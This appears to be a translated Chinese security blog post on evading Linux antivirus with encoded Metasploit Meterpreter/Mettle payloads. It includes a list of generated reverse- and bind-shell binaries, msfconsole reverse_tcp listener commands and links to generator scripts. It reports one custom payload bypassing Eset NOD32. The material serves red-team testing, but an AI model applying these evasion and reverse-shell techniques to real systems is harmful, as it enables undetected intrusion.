33

Metasploit Payload在Linux平台的免杀

 4 years ago
source link: https://www.tuicool.com/articles/Qz2EZvv
Go to the source link to view the article. You can view the picture content, updated content and better typesetting reading experience. If the link is broken, please click the button below to view the snapshot at that time.

目前,我认为在Linux防病毒方面做得比较好的安全厂商有Avast,Eset 和 Kaspersky。当然,本文的目的并不是为了推广某个产品,而是希望通过实例测试将其作为红队练习的一部分进行学习,并了解什么会被标记或是通过(Metasploit/Meterpreter/Mettle)。

因此,为了该测试的顺利进行,我创建了一个简单的shell脚本生成器,它将生成各种被编码可执行的Linux payloads,我们将这些payloads上传到Linux虚拟机(Ubuntu 18.04 x86_64),并让已安装的AV处理它们。剩下的部分是一些理论上可以工作并绕过AV的内容,我们将通过测试一些示例来验证它们的功能。

我将重点关注使用各种编码器组合的Linux  x86 和 x86_64 Meterpreter/Mettle payloads。shell脚本生成器包含可以更改的变量名称,以使用喜欢的组合和自动生成二进制文件的进程。

确保将以下脚本放置在metasploit-framework路径中,并使其可执行。生成器脚本位于:

https://github.com/DoktorCranium/Linux-Meterpreter-tests/blob/master/Linux-meterpreter-tests/AV-TEST-LINUX.sh

运行脚本时,应输Metasploit-framework LISTENING IP地址和TCP端口,例如:

riiiq2a.jpg!web

在第一个测试场景中,我们将在Ubuntu 18.04(x86_64)上使用Eset NOD32 4.0.90:

AjUbyuq.jpg!web

接着,我们将有一个生成的测试payloads的列表,我们将通过SCP向带有LinuxAV的远程机器提供这些payloads。在我们的测试中,我们生成了47个可执行文件。

-rw-r--r-- 1 root root 1102368 Apr 23 23:44 aarch64-reverse_tcp2.elf
-rw-r--r-- 1 root root     332 Apr 23 23:43 aarch64-reverse_tcp.elf
-rw-r--r-- 1 root root 1030664 Apr 23 23:44 armle-reverse_tcp2.elf
-rw-r--r-- 1 root root     464 Apr 23 23:44 mipsbe-reverse_tcp.elf
-rw-r--r-- 1 root root     464 Apr 23 23:44 mipsle-reverse_tcp.elf
-rw-r--r-- 1 root root     162 Apr 23 23:39 x64-exec.elf
-rw-r--r-- 1 root root     162 Apr 23 23:39 x64-exec-xor.elf
-rw-r--r-- 1 root root     198 Apr 23 23:39 x64-mt-bind_tcp.elf
-rw-r--r-- 1 root root     239 Apr 23 23:39 x64-mt-bind_tcp-xor.elf
-rw-r--r-- 1 root root 1046472 Apr 23 23:39 x64-mt-reverse_tcp2.elf
-rw-r--r-- 1 root root     249 Apr 23 23:38 x64-mt-reverse_tcp.elf
-rw-r--r-- 1 root root 1046631 Apr 23 23:39 x64-mt-reverse_tcp-xor2.elf
-rw-r--r-- 1 root root     295 Apr 23 23:38 x64-mt-reverse_tcp-xor.elf
-rw-r--r-- 1 root root 1046472 Apr 23 23:39 x64-mt-rev-http.elf
-rw-r--r-- 1 root root 1046472 Apr 23 23:40 x64-mt-rev-https.elf
-rw-r--r-- 1 root root 1046631 Apr 23 23:39 x64-mt-rev-https-xor.elf
-rw-r--r-- 1 root root 1046631 Apr 23 23:39 x64-mt-rev-http-xor.elf
-rw-r--r-- 1 root root     206 Apr 23 23:40 x64-sh-bind_tcp2.elf
-rw-r--r-- 1 root root     198 Apr 23 23:40 x64-sh-bind_tcp.elf
-rw-r--r-- 1 root root     247 Apr 23 23:40 x64-sh-bind_tcp-xor2.elf
-rw-r--r-- 1 root root     239 Apr 23 23:40 x64-sh-bind_tcp-xor.elf
-rw-r--r-- 1 root root     249 Apr 23 23:40 x64-sh-reverse.elf
-rw-r--r-- 1 root root     194 Apr 23 23:40 x64-sh-reverse_tcp2.elf
-rw-r--r-- 1 root root     239 Apr 23 23:40 x64-sh-reverse_tcp-xor2.elf
-rw-r--r-- 1 root root     295 Apr 23 23:40 x64-sh-reverse-xor.elf
-rw-r--r-- 1 root root     122 Apr 23 23:41 x86-exec.elf
-rw-r--r-- 1 root root     257 Apr 23 23:41 x86-exec-xor.elf
-rw-r--r-- 1 root root     194 Apr 23 23:42 x86-mt-bind_tcp.elf
-rw-r--r-- 1 root root     329 Apr 23 23:41 x86-mt-bind_tcp-xor.elf
-rw-r--r-- 1 root root 1107556 Apr 23 23:41 x86-mt-reverse_tcp2.elf
-rw-r--r-- 1 root root     207 Apr 23 23:41 x86-mt-reverse_tcp.elf
-rw-r--r-- 1 root root 1107790 Apr 23 23:41 x86-mt-reverse_tcp-xor2.elf
-rw-r--r-- 1 root root     342 Apr 23 23:41 x86-mt-reverse_tcp-xor.elf
-rw-r--r-- 1 root root     614 Apr 23 23:43 x86-mt-reverse_tcp-xor.elf.multi
-rw-r--r-- 1 root root 1107556 Apr 23 23:42 x86-mt-rev-http.elf
-rw-r--r-- 1 root root 1107556 Apr 23 23:42 x86-mt-rev-https.elf
-rw-r--r-- 1 root root 1107790 Apr 23 23:42 x86-mt-rev-https-xor.elf
-rw-r--r-- 1 root root 1107790 Apr 23 23:42 x86-mt-rev-http-xor.elf
-rw-r--r-- 1 root root     162 Apr 23 23:43 x86-sh-bind_tcp2.elf
-rw-r--r-- 1 root root     194 Apr 23 23:43 x86-sh-bind_tcp.elf
-rw-r--r-- 1 root root     297 Apr 23 23:43 x86-sh-bind_tcp-xor2.elf
-rw-r--r-- 1 root root     329 Apr 23 23:42 x86-sh-bind_tcp-xor.elf
-rw-r--r-- 1 root root     207 Apr 23 23:43 x86-sh-reverse.elf
-rw-r--r-- 1 root root     152 Apr 23 23:43 x86-sh-reverse_tcp2.elf
-rw-r--r-- 1 root root     287 Apr 23 23:43 x86-sh-reverse_tcp-xor2.elf
-rw-r--r-- 1 root root     342 Apr 23 23:43 x86-sh-reverse-xor.elf

一旦我们上传了它们,AV就会启动并自动删除其中的大部分payloads。

rMjaueV.jpg!web

执行完成后,我们会看到有一些文件被完整地保留了下来,其中一些文件将无法正常工作,还有一些文件则仍可以正常工作,我们将在下一步进行测试……我们有27个文件被保留了下来。

A7F7Fve.jpg!web

因为我们的VM运行的系统是64位的,所以让我们来看看那些x86_64的payloads。

-rw-r--r-- 1 user user 162 Apr 23 22:08 x64-exec-xor.elf
-rw-r--r-- 1 user user 162 Apr 23 22:08 x64-exec.elf
-rw-r--r-- 1 user user 198 Apr 23 22:08 x64-mt-bind_tcp.elf
-rw-r--r-- 1 user user 1046631 Apr 23 22:08 x64-mt-rev-http-xor.elf
-rw-r--r-- 1 user user 1046631 Apr 23 22:08 x64-mt-rev-https-xor.elf
-rw-r--r-- 1 user user 1046631 Apr 23 22:08 x64-mt-reverse_tcp-xor2.elf
-rw-r--r-- 1 user user 198 Apr 23 22:08 x64-sh-bind_tcp.elf

我们将配置我们的test LISTENER(将以下脚本放置在metasploit-framework目录中并使其可执行)。

https://github.com/DoktorCranium/Linux-Meterpreter-tests/blob/master/Linux-meterpreter-tests/LISTENER-LINUX-METTLE.sh

(并调整到测试的远程payloads,即相应地更改第13行)

echo -n './msfconsole -x "use exploit/multi/handler; set PAYLOAD linux/x64/meterpreter/reverse_tcp; set LHOST ' > run.listener.sh

如果我们要验证除meterpreter/reverse_tcp之外的任何内容,我们需要将linux/x64/meterpreter/reverse_tcp修改为LISTENER中的相应的payload。

echo -n './msfconsole -x "use exploit/multi/handler; set PAYLOAD linux/x64/meterpreter_reverse_tcp; set LHOST ' > run.listener.sh

以上适用于x64-mt-reverse_tcp-xor2.elf,因为该平台为x64,并且它是一个meterpreter reverse tcp payload,所以我们将启动我们的listener(请注意上述2个payload的差异!)

并使用Eset NOD32 AV在测试VM上执行payload,并获得了一个core-dumped消息:)

Vf6bIrf.jpg!web

让我们试试其他x86_64的mypreter/mettle->x64-mt-bind_tcp.elf

这次我们使用linux/x64/meterpreter/bind_tcp payload,并再次调整LISTENER,这次我们要为bind_tcp添加一个远程IP才能工作(虽然如此),但我们仍要进行测试,这次它可以工作。

2Af22aI.jpg!web

但是,我们希望有一个可以绕过Eset NOD32,并且可以正常工作的reverse meterpreter/mettle payload!

让我们尝试更多自定义的代码:

https://github.com/DoktorCranium/Linux-Meterpreter-tests/blob/master/Linux-meterpreter-tests/LINUX-FORK-METTLE.sh

uErAbyY.jpg!web

使用Nod32将linux-payload上传到VM并运行listener。

Bru6R3A.jpg!web

执行linux-payload和…我们成功使用自定义的reverse mettle payload绕过了AV:)

7zuE7vJ.jpg!web

之前我提到过你可以为Windows PE32执行同样的操作。不是吗?:)现在你知道了,它的工作原理和Windows上其实是一样的,并且可以通过上面的脚本,scp等完全自动化进行AV逃避测试。

  *参考来源: astr0baby ,FB小编secist编译,转载请注明来自FreeBuf.COM


About Joyk


Aggregate valuable and interesting links.
Joyk means Joy of geeK